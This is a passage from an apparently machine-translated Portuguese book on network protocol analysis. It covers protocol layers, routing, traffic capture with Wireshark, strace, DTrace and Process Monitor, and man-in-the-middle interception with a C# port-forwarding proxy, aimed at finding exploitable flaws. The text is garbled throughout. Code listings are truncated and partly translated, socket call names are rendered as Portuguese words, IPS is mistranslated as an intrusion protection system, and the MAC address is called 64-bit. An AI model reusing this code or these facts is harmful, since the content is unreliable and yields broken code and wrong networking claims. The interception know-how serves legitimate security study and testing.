nó suporte múltiplos serviços diferentes, atribuindo um
número diferente para cada serviço; esse número é chamado de
porta. O TCP e o Protocolo de Datagrama do Usuário (UDP)
operam nesta camada.
Camada de aplicação (camada 4) Esta camada contém
protocolos de rede, como o Protocolo de Transferência de
Hipertexto (HTTP), que transfere o conteúdo de páginas da web;
o Protocolo de Transferência de Correio Simples (SMTP), que
transfere e-mails; e o protocolo do Sistema de Nomes de
Domínio (DNS), que converte um nome em um nó na rede. Ao
longo deste livro, focaremos principalmente nesta camada.

Cada camada interage apenas com a camada acima e abaixo


dela, mas deve haver algumas interações externas com a pilha.
A Figura 1-2 mostra duas conexões externas. A camada de
enlace interage com uma conexão de rede física, transmitindo
dados em um meio físico, como pulsos de eletricidade ou luz. A
camada de aplicação interage com o aplicativo do usuário: um
aplicativo é um conjunto de funcionalidades relacionadas que
fornece um serviço ao usuário. A Figura 1-3 mostra um exemplo
de um aplicativo que processa e-mails. O serviço fornecido pelo
aplicativo de e-mail é o envio e recebimento de mensagens em
uma rede.
Figura 1-3: Exemplo de aplicação de correio

Normalmente, as aplicações contêm os seguintes componentes:

Comunicação em rede: Este componente comunica-se através


da rede e processa dados de entrada e saída. Para uma
aplicação de e-mail, a comunicação em rede provavelmente
utiliza um protocolo padrão, como SMTP ou POP3.

Analisadores de conteúdo. Os dados transferidos por uma rede


geralmente contêm conteúdo que precisa ser extraído e
processado. O conteúdo pode incluir dados textuais, como o
corpo de um e-mail, ou podem ser imagens ou vídeos.

Interface do usuário (IU): A IU permite que o usuário visualize


os e-mails recebidos e crie novos e-mails para envio. Em um
aplicativo de e-mail, a IU pode exibir os e-mails usando HTML
em um navegador da web.
Note que o usuário que interage com a interface do usuário não
precisa ser um ser humano. Pode ser outro aplicativo que
automatiza o envio e o recebimento de e-mails por meio de uma
ferramenta de linha de comando.

Encapsulamento de dados

Cada camada em um IPS é construída sobre a camada inferior,


e cada camada é capaz de encapsular os dados da camada
superior para que possam se mover entre as camadas. Os dados
transmitidos por cada camada são chamados de unidade de
dados de protocolo (PDU).

Cabeçalhos, rodapés e endereços

A PDU em cada camada contém os dados da carga útil que estão


sendo transmitidos. É comum prefixar um cabeçalho — que
contém informações necessárias para a transmissão dos dados
da carga útil, como os endereços dos nós de origem e destino na
rede — aos dados da carga útil. Às vezes, uma PDU também
possui um rodapé que é anexado aos dados da carga útil e
contém valores necessários para garantir a transmissão correta,
como informações de verificação de erros. A Figura 1-4 mostra
como as PDUs são organizadas no IPS.
Figura 1-4: Encapsulamento de dados IPS

O cabeçalho TCP contém um número de porta de origem e um


de destino ➊. Esses números de porta permitem que um único
nó tenha múltiplas conexões de rede exclusivas. Os números de
porta para TCP (e UDP) variam de 0 a 65535. A maioria dos
números de porta é atribuída conforme a necessidade de novas
conexões, mas alguns números receberam atribuições
especiais, como a porta 80 para HTTP. (Você pode encontrar
uma lista atualizada dos números de porta atribuídos no
arquivo /etc/services na maioria dos sistemas operacionais do
tipo Unix.) Um pacote TCP e seu cabeçalho são comumente
chamados de segmento, enquanto um pacote UDP e seu
cabeçalho são comumente chamados de datagrama.

O protocolo IP utiliza um endereço de origem e um endereço de


destino ➋. O endereço de destino permite que os dados sejam
enviados para um nó específico na rede. O endereço de origem
permite que o receptor dos dados saiba qual nó enviou os dados
e permite que o receptor responda ao remetente.

O IPv4 usa endereços de 32 bits, que você normalmente verá


escritos como quatro números separados por pontos, como
[Link]. O IPv6 usa endereços de 128 bits, porque os
endereços de 32 bits não são suficientes para o número de nós
nas redes modernas. Os endereços IPv6 geralmente são escritos
como números hexadecimais separados por dois pontos, como
fe80:0000:0000:0000:897b:581e:44b0:2057. Sequências longas de
números 0000 são condensadas em dois pontos. Por exemplo, o
endereço IPv6 anterior também pode ser escrito como
fe80::897b:581e:44b0:2057. A carga útil e o cabeçalho de um
pacote IP são comumente chamados de pacote.

A Ethernet também contém endereços de origem e destino ➌. A


Ethernet usa um valor de 64 bits chamado endereço de Controle
de Acesso ao Meio (MAC), que normalmente é definido durante
a fabricação do adaptador Ethernet. Geralmente, você verá os
endereços MAC escritos como uma série de números
hexadecimais separados por hífens ou dois pontos, como 0A-00-
27-00-00-0E. A carga útil da Ethernet, incluindo o cabeçalho e o
rodapé, é comumente chamada de quadro.

Transmissão de dados

Vamos analisar brevemente como os dados são transferidos de


um nó para outro usando o modelo de encapsulamento de
dados IPS. A Figura 1-5 mostra uma rede Ethernet simples com
três nós.

Figura 1-5: Uma rede Ethernet simples


Neste exemplo, o nó em ➊ com o endereço IP [Link] deseja
enviar dados usando o protocolo IP para o nó em ➋ com o
endereço IP [Link]. (O dispositivo de comutação ➌
encaminha quadros Ethernet entre todos os nós da rede. O
comutador não precisa de um endereço IP porque opera apenas
na camada de enlace.) Veja o que acontece para enviar dados
entre os dois nós:

1. O nó da pilha de rede do sistema operacional ➊ encapsula os


dados das camadas de aplicação e transporte e constrói um
pacote IP com um endereço de origem [Link] e um
endereço de destino [Link].
2. Neste ponto, o sistema operacional pode encapsular os dados
IP como um quadro Ethernet, mas pode não conhecer o
endereço MAC do nó de destino. Ele pode solicitar o endereço
MAC de um determinado endereço IP usando o Protocolo de
Resolução de Endereços (ARP), que envia uma solicitação a
todos os nós da rede para encontrar o endereço MAC do
endereço IP de destino.
3. Assim que o nó em ➊ recebe uma resposta ARP, ele pode
construir o quadro, definindo o endereço de origem para o
endereço MAC local 00-11-22-33-44-55 e o endereço de
destino para 66-77-88-99-AA-BB. O novo quadro é transmitido
na rede e recebido pelo switch ➌.
4. O switch encaminha o quadro para o nó de destino, que
descompacta o pacote IP e verifica se o endereço IP de
destino corresponde. Em seguida, os dados da carga útil IP
são extraídos e passados pela pilha para serem recebidos
pelo aplicativo em espera.

Roteamento de rede

O Ethernet exige que todos os nós estejam diretamente


conectados à mesma rede local. Esse requisito representa uma
grande limitação para uma rede verdadeiramente global, pois
não é viável conectar fisicamente todos os nós a todos os outros.
Em vez de exigir que todos os nós estejam diretamente
conectados, os endereços de origem e destino permitem que os
dados sejam roteados por diferentes redes até chegarem ao nó
de destino desejado, conforme ilustrado na Figura 1-6.
Figura 1-6: Um exemplo de uma rede roteada conectando duas
redes Ethernet.

A Figura 1-6 mostra duas redes Ethernet, cada uma com


intervalos de endereços IP distintos. A descrição a seguir
explica como o IP utiliza esse modelo para enviar dados do nó
em ➊ na rede 1 para o nó em ➋ na rede 2.

1. O nó da pilha de rede do sistema operacional ➊ encapsula os


dados das camadas de aplicação e transporte e constrói um
pacote IP com um endereço de origem [Link] e um
endereço de destino [Link].
2. A pilha de rede precisa enviar um quadro Ethernet, mas
como o endereço IP de destino não existe em nenhuma rede
Ethernet à qual o nó esteja conectado, a pilha de rede
consulta a tabela de roteamento do sistema operacional.
Neste exemplo, a tabela de roteamento contém uma entrada
para o endereço IP [Link]. A entrada indica que um
roteador com o endereço IP [Link] sabe como chegar a
esse endereço de destino.
3. O sistema operacional usa o protocolo ARP para localizar o
endereço MAC do roteador em [Link], e o pacote IP
original é encapsulado dentro do quadro Ethernet com esse
endereço MAC.
4. O roteador recebe o quadro Ethernet e descompacta o pacote
IP. Ao verificar o endereço IP de destino, o roteador
determina que o pacote IP não se destina ao roteador, mas
sim a um nó diferente em outra rede conectada. O roteador
consulta o endereço MAC [Link], encapsula o pacote IP
original no novo quadro Ethernet e o envia para a rede 2.
5. O nó de destino recebe o quadro Ethernet, descompacta o
pacote IP e processa seu conteúdo.

Esse processo de roteamento pode ser repetido várias vezes.


Por exemplo, se o roteador não estivesse diretamente conectado
à rede que contém o nó [Link], ele consultaria sua própria
tabela de roteamento e determinaria o próximo roteador para o
qual poderia enviar o pacote IP.
Claramente, seria impraticável que cada nó da rede soubesse
como chegar a todos os outros nós da internet. Se não houver
uma entrada de roteamento explícita para um destino, o
sistema operacional fornece uma entrada padrão na tabela de
roteamento, chamada gateway padrão, que contém o endereço
IP de um roteador que pode encaminhar pacotes IP para seus
destinos.

Meu modelo para análise de protocolos de rede

O IPS descreve como funciona a comunicação em rede; no


entanto, para fins de análise, a maior parte do modelo IPS não é
relevante. É mais simples usar meu modelo para entender o
comportamento de um protocolo de rede de aplicação. Meu
modelo contém três camadas, conforme mostrado na Figura 1-
7, que ilustra como eu analisaria uma requisição HTTP.

Aqui estão as três camadas do meu modelo:

A camada de conteúdo fornece o significado do que está sendo


comunicado. Na Figura 1-7, o significado é fazer uma solicitação
HTTP para o arquivo [Link].

A camada de codificação fornece regras para governar como


você representa seu conteúdo. Neste exemplo, a solicitação
HTTP é codificada como uma solicitação HTTP GET, que
especifica o arquivo a ser recuperado.

A camada de transporte fornece regras para governar como os


dados são transferidos entre os nós. No exemplo, a solicitação
HTTP GET é enviada por meio de uma conexão TCP/IP para a
porta 80 no nó remoto.

Figura 1-7: Meu modelo conceitual de protocolo

Dividir o modelo dessa forma reduz a complexidade com


protocolos específicos da aplicação, pois nos permite filtrar
detalhes do protocolo de rede que não são relevantes. Por
exemplo, como não nos importamos realmente com a forma
como o TCP/IP é enviado para o nó remoto (presumimos que ele
chegará lá de alguma forma), simplesmente tratamos os dados
TCP/IP como um transporte binário que funciona sem
problemas.

Para entender por que o modelo de protocolo é útil, considere


este exemplo: imagine que você está inspecionando o tráfego de
rede de um malware. Você descobre que o malware usa HTTP
para receber comandos do operador por meio do servidor. Por
exemplo, o operador pode solicitar que o malware enumere
todos os arquivos no disco rígido do computador infectado. A
lista de arquivos pode ser enviada de volta ao servidor,
momento em que o operador pode solicitar o upload de um
arquivo específico.

Se analisarmos o protocolo da perspectiva de como o operador


interagiria com o malware, como por exemplo, solicitando o
upload de um arquivo, o novo protocolo se divide nas camadas
mostradas na Figura 1-8.
Figura 1-8: O modelo conceitual para um protocolo de malware
usando HTTP

A lista a seguir explica cada camada do novo modelo de


protocolo:

Camada de conteúdo: O aplicativo malicioso está enviando um


arquivo roubado chamado [Link] para o servidor.

Camada de codificação: A codificação do comando para enviar


o arquivo roubado é uma simples sequência de texto com o
comando SEND seguido pelo nome do arquivo e os dados do
arquivo.

Camada de transporte: O protocolo usa um parâmetro de


requisição HTTP para transportar o comando. Ele utiliza o
mecanismo padrão de codificação percentual, tornando-o uma
requisição HTTP válida.

Observe neste exemplo que não consideramos a requisição


HTTP sendo enviada sobre TCP/IP; combinamos a camada de
codificação e transporte da Figura 1-7 em apenas a camada de
transporte da Figura 1-8. Embora o malware ainda utilize
protocolos de nível inferior, como TCP/IP, esses protocolos não
são importantes para a análise do comando do malware para
enviar um arquivo. O motivo pelo qual não são importantes é
que podemos considerar o HTTP sobre TCP/IP como uma única
camada de transporte que simplesmente funciona e focar
especificamente nos comandos exclusivos do malware.

Ao restringirmos nosso escopo às camadas do protocolo que


precisamos analisar, evitamos muito trabalho e nos
concentramos nos aspectos únicos do protocolo. Por outro lado,
se analisássemos esse protocolo usando as camadas da Figura 1-
7, poderíamos supor que o malware estava simplesmente
solicitando o arquivo [Link], pois pareceria que essa era
toda a ação da requisição HTTP.

Palavras finais
Este capítulo apresentou uma visão geral rápida dos conceitos
básicos de redes. Discuti o IPS (Sistema Integrado de Proteção),
incluindo alguns dos protocolos que você encontrará em redes
reais, e descrevi como os dados são transmitidos entre nós em
uma rede local, bem como em redes remotas, por meio de
roteamento. Além disso, descrevi uma maneira de pensar sobre
protocolos de rede de aplicação que deve facilitar o foco nas
características únicas do protocolo, acelerando sua análise.

No Capítulo 2, usaremos esses conceitos básicos de redes para


nos guiar na captura de tráfego de rede para análise. O objetivo
da captura de tráfego de rede é acessar os dados necessários
para iniciar o processo de análise, identificar quais protocolos
estão sendo usados e, por fim, descobrir vulnerabilidades de
segurança que podem ser exploradas para comprometer os
aplicativos que utilizam esses protocolos.
2
CAPTURA DE TRÁFEGO DE APLICATIVOS

Surpreendentemente, capturar tráfego útil pode ser um aspecto


desafiador da análise de protocolos. Este capítulo descreve duas
técnicas de captura diferentes: passiva e ativa. A captura
passiva não interage diretamente com o tráfego. Em vez disso,
ela extrai os dados à medida que trafegam pela rede, algo que
você já deve conhecer de ferramentas como o Wireshark. Você
verá que diferentes aplicações oferecem diferentes mecanismos
(cada um com suas próprias vantagens e desvantagens) para
redirecionar o tráfego. A captura ativa interfere no tráfego
entre uma aplicação cliente e o servidor; isso oferece grande
poder, mas pode causar algumas complicações. Você pode
pensar na captura ativa em termos de proxies ou até mesmo de
um ataque man-in-the-middle. Vamos analisar as técnicas ativa
e passiva com mais detalhes.

Captura passiva de tráfego de rede

A captura passiva é uma técnica relativamente simples:


normalmente não requer nenhum hardware especializado,
nem é preciso escrever código próprio. A Figura 2-1 mostra um
cenário comum: um cliente e um servidor comunicando-se via
Ethernet em uma rede.
Figura 2-1: Um exemplo de captura passiva de rede

A captura passiva de rede pode ocorrer na rede, interceptando


o tráfego à medida que ele passa de alguma forma, ou
monitorando diretamente o tráfego no host do cliente ou do
servidor.

Guia rápido para Wireshark

O Wireshark é talvez o aplicativo de captura de pacotes mais


popular disponível. É multiplataforma, fácil de usar e vem com
muitos recursos integrados de análise de protocolo. No Capítulo
5, você aprenderá como escrever um analisador de pacotes
para auxiliar na análise de protocolo, mas, por enquanto,
vamos configurar o Wireshark para capturar o tráfego IP da
rede.

Para capturar o tráfego de uma interface Ethernet (com ou sem


fio), o dispositivo de captura deve estar em modo promíscuo.
Um dispositivo em modo promíscuo recebe e processa qualquer
quadro Ethernet que detecte, mesmo que esse quadro não seja
destinado àquela interface. Capturar um aplicativo em
execução no mesmo computador é fácil: basta monitorar a
interface de rede de saída ou a interface de loopback local (mais
conhecida como localhost). Caso contrário, pode ser necessário
usar hardware de rede, como um hub ou um switch
configurado, para garantir que o tráfego seja enviado para a
sua interface de rede.

A Figura 2-2 mostra a visualização padrão ao capturar tráfego


de uma interface Ethernet.
Figura 2-2: A visualização padrão do Wireshark

Existem três áreas de visualização principais. A Área ➊ mostra


uma linha do tempo dos pacotes brutos capturados da rede. A
linha do tempo fornece uma lista dos endereços IP de origem e
destino, bem como informações resumidas do protocolo
decodificado. A Área ➋ fornece uma visão detalhada do pacote,
separado em camadas de protocolo distintas que correspondem
ao modelo de pilha de rede OSI. A Área ➌ mostra o pacote
capturado em sua forma bruta.

O protocolo de rede TCP é baseado em fluxo e projetado para se


recuperar de pacotes perdidos ou corrupção de dados. Devido à
natureza das redes e do IP, não há garantia de que os pacotes
serão recebidos em uma ordem específica. Portanto, ao
capturar pacotes, a visualização da linha do tempo pode ser
difícil de interpretar. Felizmente, o Wireshark oferece
analisadores para protocolos conhecidos que normalmente
remontam todo o fluxo e fornecem todas as informações em um
só lugar. Por exemplo, selecione um pacote em uma conexão
TCP na visualização da linha do tempo e, em seguida, selecione
Analisar ▸ Seguir Fluxo TCP no menu principal. Uma caixa de
diálogo semelhante à Figura 2-3 deverá aparecer. Para
protocolos sem um analisador, o Wireshark pode decodificar o
fluxo e apresentá-lo em uma caixa de diálogo de fácil
visualização.

Figura 2-3: Seguindo um fluxo TCP

O Wireshark é uma ferramenta abrangente, e abordar todos os


seus recursos está além do escopo deste livro. Se você não
estiver familiarizado com ele, procure uma boa referência,
como o livro *Practical Packet Analysis, 3rd Edition* (No Starch
Press, 2017), e aprenda muitos de seus recursos úteis. O
Wireshark é indispensável para analisar o tráfego de rede de
aplicativos e é gratuito sob a Licença Pública Geral (GPL).

Técnicas alternativas de captura passiva

Às vezes, usar um analisador de pacotes não é apropriado, por


exemplo, em situações em que você não tem permissão para
capturar tráfego. Você pode estar realizando um teste de
penetração em um sistema sem acesso administrativo ou em
um dispositivo móvel com um shell de privilégios limitados.
Você também pode simplesmente querer garantir que está
analisando o tráfego apenas do aplicativo que está testando.
Isso nem sempre é fácil de fazer com a captura de pacotes, a
menos que você correlacione o tráfego com base no tempo.
Nesta seção, descreverei algumas técnicas para extrair o tráfego
de rede de um aplicativo local sem usar uma ferramenta de
captura de pacotes.

Rastreamento de chamadas do sistema

Muitos sistemas operacionais modernos oferecem dois modos


de execução. O modo kernel é executado com um alto nível de
privilégios e contém o código que implementa a funcionalidade
principal do sistema operacional. O modo usuário é onde os
processos do dia a dia são executados. O kernel fornece serviços
ao modo usuário exportando um conjunto de chamadas de
sistema especiais (veja a Figura 2-4), permitindo que os
usuários acessem arquivos, criem processos e, o mais
importante para os nossos propósitos, se conectem a redes.

Figura 2-4: Um exemplo de comunicação de rede do usuário


para o kernel por meio de chamadas de sistema.

Quando um aplicativo deseja se conectar a um servidor remoto,


ele emite chamadas de sistema especiais para o kernel do
sistema operacional para abrir uma conexão. O aplicativo então
lê e grava os dados da rede. Dependendo do sistema
operacional que executa seus aplicativos de rede, você pode
monitorar essas chamadas diretamente para extrair dados de
um aplicativo de forma passiva.

A maioria dos sistemas do tipo Unix implementa chamadas de


sistema semelhantes ao modelo Berkeley Sockets para
comunicação em rede. Isso não é surpreendente, pois o
protocolo IP foi originalmente implementado no sistema
operacional Unix Berkeley Software Distribution (BSD) 4.2. Essa
implementação de sockets também faz parte do POSIX,
tornando-se o padrão de fato. A Tabela 2-1 mostra algumas das
chamadas de sistema mais importantes na API Berkeley
Sockets.

Tabela 2-1: Chamadas de sistema Unix comuns para redes

Nome Descrição

tomada Cria um novo descritor de arquivo de


soquete.

conectar Conecta um socket a um endereço IP e


Nome Descrição

porta conhecidos.

vincular Vincula o socket a um endereço IP e porta


locais conhecidos.

receber, ler, Recebe dados da rede através do socket. A


receber de função genérica `read` serve para ler de
um descritor de arquivo, enquanto `recv` e
`recvfrom` são específicas da API do
socket.

enviar, Envia dados pela rede através do socket.


escrever,
enviar de

Para aprender mais sobre como essas chamadas de sistema


funcionam, um ótimo recurso é o Guia TCP/IP (No Starch Press,
2005). Muitos recursos online também estão disponíveis, e a
maioria dos sistemas operacionais do tipo Unix inclui manuais
que podem ser visualizados em um terminal usando o comando
`man 2 nome_da_chamada_de_sistema`. Agora, vamos ver
como monitorar chamadas de sistema.
O utilitário strace no Linux

No Linux, você pode monitorar diretamente as chamadas de


sistema de um programa de usuário sem permissões especiais,
a menos que o aplicativo que você deseja monitorar seja
executado como um usuário com privilégios elevados. Muitas
distribuições Linux incluem o prático utilitário `strace`, que
faz a maior parte do trabalho para você. Se ele não estiver
instalado por padrão, baixe-o do gerenciador de pacotes da sua
distribuição ou compile-o a partir do código-fonte.

Execute o seguinte comando, substituindo `/path/to/app` pelo


nome do aplicativo que você está testando e `args` pelos
parâmetros necessários, para registrar as chamadas de sistema
de rede usadas por esse aplicativo:

$ strace –e trace=network,read,write /caminho/para/o/

Vamos monitorar um aplicativo de rede que lê e grava algumas


strings e analisar a saída do strace. A Listagem 2-1 mostra
quatro entradas de log (logs desnecessários foram removidos da
listagem para maior brevidade).
$ strace -e trace=network,read,write customapp
--snip--
➊ socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
➋ connect(3, {sa_family=AF_INET, sin_port=htons(5555)
sin_addr=inet_addr("[Link]")}, 16) = 0
➌ write(3, "Hello World!\n", 13) = 13
➍ read(3, "Boo!\n", 2048) = 5

Listagem 2-1: Exemplo de saída do utilitário strace

A primeira entrada ➊ cria um novo socket TCP, ao qual é


atribuído o identificador 3. A próxima entrada ➋ mostra a
chamada de sistema connect usada para estabelecer uma
conexão TCP com o endereço IP [Link] na porta 5555. Em
seguida, o aplicativo escreve a string "Hello World!" ➌ antes de
ler a string "Boo!" ➍. A saída demonstra que é possível obter
uma boa noção do que um aplicativo está fazendo no nível de
chamadas de sistema usando este utilitário, mesmo sem
privilégios elevados.

Monitoramento de conexões de rede com DTrace

O DTrace é uma ferramenta muito poderosa disponível em


diversos sistemas do tipo Unix, incluindo Solaris (onde foi
originalmente desenvolvido), macOS e FreeBSD. Ele permite
configurar sondagens em todo o sistema para provedores de
rastreamento específicos, incluindo chamadas de sistema. A
configuração do DTrace é feita por meio de scripts em uma
linguagem com sintaxe semelhante à de C. Para obter mais
detalhes sobre esta ferramenta, consulte o Guia do DTrace
online em [Link]

A Listagem 2-2 mostra um exemplo de um script que monitora


conexões IP de saída usando o DTrace.

traceconnect.d

/* traceconnect.d - Um script DTrace simples para mon


➊ struct sockaddr_in
short sin_family;
unsigned short sin_port;
in_addr_t sin_addr;
char sin_zero[8];
;

➋ syscall::connect:entry
➌ /arg2 == sizeof(struct sockaddr_in)/

➍ addr = (struct sockaddr_in*)copyin(arg1, arg2);


➎ printf("processo:'%s' %s:%d", execname, inet_ntop(2
ntohs(addr->sin_port));

Listagem 2-2: Um script DTrace simples para monitorar uma


chamada de sistema connect.

Este script simples monitora a chamada de sistema `connect` e


exibe as conexões IPv4 TCP e UDP. A chamada de sistema recebe
três parâmetros, representados por `arg0`, `arg1` e `arg2` na
linguagem de script DTrace, que são inicializados para nós no
kernel. O parâmetro `arg0` é o descritor de arquivo do socket
(que não precisamos), `arg1` é o endereço do socket ao qual
estamos nos conectando e `arg2` é o comprimento desse
endereço. O parâmetro `arg0` é o identificador do socket, que
não é necessário neste caso. O próximo parâmetro é o endereço
de memória do processo do usuário de uma estrutura de
endereço de socket, que é o endereço ao qual se conectar e pode
ter tamanhos diferentes dependendo do tipo de socket. (Por
exemplo, endereços IPv4 são menores que IPv6.) O parâmetro
final é o comprimento da estrutura de endereço do socket em
bytes.

O script define uma estrutura `sockaddr_in` que é usada para


conexões IPv4 em ➊; em muitos casos, essas estruturas podem
ser copiadas diretamente dos arquivos de cabeçalho C do
sistema. A chamada de sistema a ser monitorada é especificada
em ➋. Em ➌, um filtro específico do DTrace é usado para
garantir que rastreemos apenas chamadas de conexão em que o
endereço do socket tenha o mesmo tamanho que
`sockaddr_in`. Em ➍, a estrutura `sockaddr_in` é copiada do
seu processo para uma estrutura local para que o DTrace a
inspecione. Em ➎, o nome do processo, o endereço IP de destino
e a porta são impressos no console.

Para executar este script, copie-o para um arquivo chamado


traceconnect.d e, em seguida, execute o comando dtrace -s
traceconnect.d como usuário root. Ao usar um aplicativo
conectado à rede, a saída deverá ser semelhante à Listagem 2-3.

processo:'Google Chrome' [Link]:5222


processo:'Google Chrome' [Link]:443
processo:'Google Chrome' [Link]:80
processo:'ntpd' [Link]:123
processo:'Mail' [Link]:993
processo:'syncdefaultsd' [Link]:443
processo:'AddressBookSour' [Link]:443

Listagem 2-3: Exemplo de saída do script traceconnect.d

A saída exibe conexões individuais a endereços IP, imprimindo


o nome do processo, por exemplo, 'Google Chrome', o endereço
IP e a porta à qual o processo está conectado. Infelizmente, a
saída nem sempre é tão útil quanto a do strace no Linux, mas o
DTrace certamente é uma ferramenta valiosa. Esta
demonstração apenas arranha a superfície do que o DTrace
pode fazer.

Monitor de Processos no Windows

Em contraste com sistemas do tipo Unix, o Windows


implementa suas funções de rede em modo de usuário sem
chamadas de sistema diretas. A pilha de rede é exposta por
meio de um driver, e o estabelecimento de uma conexão utiliza
as chamadas de sistema de abertura, leitura e gravação de
arquivos para configurar um socket de rede para uso. Mesmo
que o Windows suportasse um recurso semelhante ao strace,
essa implementação dificultaria o monitoramento do tráfego de
rede no mesmo nível que outras plataformas.
O Windows, a partir do Vista, oferece suporte a uma estrutura
de geração de eventos que permite que os aplicativos
monitorem a atividade de rede. Implementar isso por conta
própria seria bastante complexo, mas, felizmente, alguém já
criou uma ferramenta para fazer isso: o Process Monitor da
Microsoft. A Figura 2-5 mostra a interface principal ao filtrar
apenas os eventos de conexão de rede.
Figura 2-5: Exemplo de captura do Monitor de Processos

Selecionar o filtro circulado na Figura 2-5 exibe apenas os


eventos relacionados às conexões de rede de um processo
monitorado. Os detalhes incluem os hosts envolvidos, bem
como o protocolo e a porta utilizados. Embora a captura não
forneça dados associados às conexões, ela oferece informações
valiosas sobre as comunicações de rede que o aplicativo está
estabelecendo. O Process Monitor também pode capturar o
estado da pilha de chamadas atual, o que ajuda a determinar
onde, em um aplicativo, as conexões de rede estão sendo feitas.
Isso será importante no Capítulo 6, quando começarmos a fazer
engenharia reversa de binários para descobrir o protocolo de
rede. A Figura 2-6 mostra em detalhes uma única conexão HTTP
com um servidor remoto.

Figura 2-6: Uma única conexão capturada

A coluna ➊ mostra o nome do processo que estabeleceu a


conexão. A coluna ➋ mostra a operação, que neste caso é a
conexão com um servidor remoto, o envio da solicitação HTTP
inicial e o recebimento de uma resposta. A coluna ➌ indica os
endereços de origem e destino, e a coluna ➍ fornece
informações mais detalhadas sobre o evento capturado.

Embora essa solução não seja tão útil quanto o monitoramento


de chamadas de sistema em outras plataformas, ela ainda é útil
no Windows quando você deseja apenas determinar os
protocolos de rede que um aplicativo específico está usando.
Você não pode capturar dados usando essa técnica, mas, uma
vez determinados os protocolos em uso, pode adicionar essas
informações à sua análise por meio de uma captura de tráfego
de rede mais ativa.

Vantagens e desvantagens da captura passiva

A maior vantagem de usar a captura passiva é que ela não


interrompe a comunicação entre os aplicativos cliente e
servidor. Ela não altera o endereço de origem ou destino do
tráfego e não exige nenhuma modificação ou reconfiguração
dos aplicativos.

A captura passiva também pode ser a única técnica viável


quando você não tem controle direto sobre o cliente ou o
servidor. Geralmente, é possível encontrar uma maneira de
monitorar o tráfego de rede e capturá-lo com pouco esforço.
Após coletar os dados, você pode determinar quais técnicas de
captura ativa usar e a melhor maneira de atacar o protocolo
que deseja analisar.

Uma das principais desvantagens da captura passiva de tráfego


de rede é que técnicas de captura como a análise de pacotes
operam em um nível tão baixo que pode ser difícil interpretar o
que um aplicativo recebeu. Ferramentas como o Wireshark
certamente ajudam, mas se você estiver analisando um
protocolo personalizado, pode não ser possível desmontá-lo
facilmente sem interagir diretamente com ele.

A captura passiva também nem sempre facilita a modificação


do tráfego gerado por um aplicativo. Modificar o tráfego nem
sempre é necessário, mas é útil quando se depara com
protocolos criptografados, quando se deseja desativar a
compressão ou quando é preciso alterar o tráfego para fins de
exploração.

Quando a análise de tráfego e a injeção de novos pacotes não


produzem resultados, mude de tática e tente usar técnicas de
captura ativa.

Captura ativa de tráfego de rede

A captura ativa difere da passiva porque busca influenciar o


fluxo de tráfego, geralmente por meio de um ataque do tipo
"homem no meio" na comunicação de rede. Como mostrado na
Figura 2-7, o dispositivo que captura o tráfego geralmente fica
entre os aplicativos cliente e servidor, atuando como uma
ponte. Essa abordagem apresenta diversas vantagens, incluindo
a capacidade de modificar o tráfego e desativar recursos como
criptografia ou compressão, o que pode facilitar a análise e a
exploração de um protocolo de rede.

Figura 2-7: Um intermediário (man-in-the-middle)

Uma desvantagem dessa abordagem é que geralmente é mais


difícil, pois exige o redirecionamento do tráfego do aplicativo
por meio do sistema de captura ativa. A captura ativa também
pode ter efeitos indesejados. Por exemplo, se você alterar o
endereço de rede do servidor ou do cliente para o proxy, isso
pode causar confusão, fazendo com que o aplicativo envie
tráfego para o local errado. Apesar desses problemas, a captura
ativa é provavelmente a técnica mais valiosa para analisar e
explorar protocolos de rede de aplicativos.

Proxies de rede
A maneira mais comum de realizar um ataque do tipo "homem
no meio" no tráfego de rede é forçar o aplicativo a se comunicar
por meio de um serviço proxy. Nesta seção, explicarei as
vantagens e desvantagens relativas de alguns dos tipos de
proxy mais comuns que você pode usar para capturar tráfego,
analisar esses dados e explorar um protocolo de rede. Também
mostrarei como direcionar o tráfego de aplicativos cliente
típicos para um proxy.

Proxy de encaminhamento de portas

O encaminhamento de portas é a maneira mais fácil de criar


um proxy para uma conexão. Basta configurar um servidor de
escuta (TCP ou UDP) e aguardar uma nova conexão. Quando
essa nova conexão for estabelecida com o servidor proxy, ele
abrirá uma conexão de encaminhamento para o serviço real e
conectará logicamente os dois, conforme mostrado na Figura 2-
8.
Figura 2-8: Visão geral de um proxy de encaminhamento de
portas TCP

Implementação simples

Para criar nosso proxy, usaremos o encaminhador de porta TCP


integrado incluído nas bibliotecas Canape Core. Insira o código
da Listagem 2-4 em um arquivo de script C#, alterando
LOCALPORT ➋, REMOTEHOST ➌ e REMOTEPORT ➍ para os
valores apropriados para sua rede.

PortFormat
[Link]

// [Link] – Proxy simples de encaminhame


// Expõe métodos como WriteLine e WritePackets
usando static [Link];
usando static [Link];
// Cria o modelo de proxy
var template = new ➊FixedProxyTemplate();
[Link] = ➋LOCALPORT;
[Link] = ➌"REMOTEHOST";
[Link] = ➍REMOTEPORT;

// Cria a instância do proxy e iniciar


➎ var service = [Link]();
[Link]();

WriteLine("Criado {0}", service);


WriteLine("Pressione Enter para sair...");
ReadLine();
➏ [Link]();

// Despejar pacotes
var packets = [Link];
WriteLine("Capturados {0} pacotes:",
[Link]);
➐ { WritePackets(packets);

Listagem 2-4: Um exemplo simples de proxy de


encaminhamento de porta TCP
Este script muito simples cria uma instância de um
FixedProxyTemplate ➊. O Canape Core funciona com um
modelo de templates, embora, se necessário, você possa se
aprofundar na configuração de rede de baixo nível. O script
configura o template com as informações de rede local e remota
desejadas. O template é usado para criar uma instância de
serviço em ➎; você pode pensar nos documentos da estrutura
como templates para serviços. O serviço recém-criado é então
iniciado; neste ponto, as conexões de rede são configuradas.
Após aguardar uma tecla ser pressionada, o serviço é
interrompido em ➏. Em seguida, todos os pacotes capturados
são gravados no console usando o método WritePackets() ➐.

A execução deste script deve associar uma instância do nosso


proxy de encaminhamento ao número LOCALPORT apenas
para a interface localhost. Quando uma nova conexão TCP for
estabelecida nessa porta, o código do proxy deverá estabelecer
uma nova conexão com REMOTEHOST na porta TCP
REMOTEPORT e vincular as duas conexões.

AVISO

Vincular um proxy a todos os endereços de rede


pode ser arriscado do ponto de vista da segurança,
pois proxies criados para testar protocolos
raramente implementam mecanismos de
segurança robustos. A menos que você tenha
controle total sobre a rede à qual está conectado ou
não tenha outra opção, vincule seu proxy apenas à
interface de loopback local. No exemplo 2-4, o
padrão é LOCALHOST; para vincular a todas as
interfaces, defina a propriedade AnyBind como
true.

Redirecionando o tráfego para o proxy

Com nossa aplicação proxy simples concluída, agora


precisamos direcionar o tráfego da nossa aplicação através
dela.

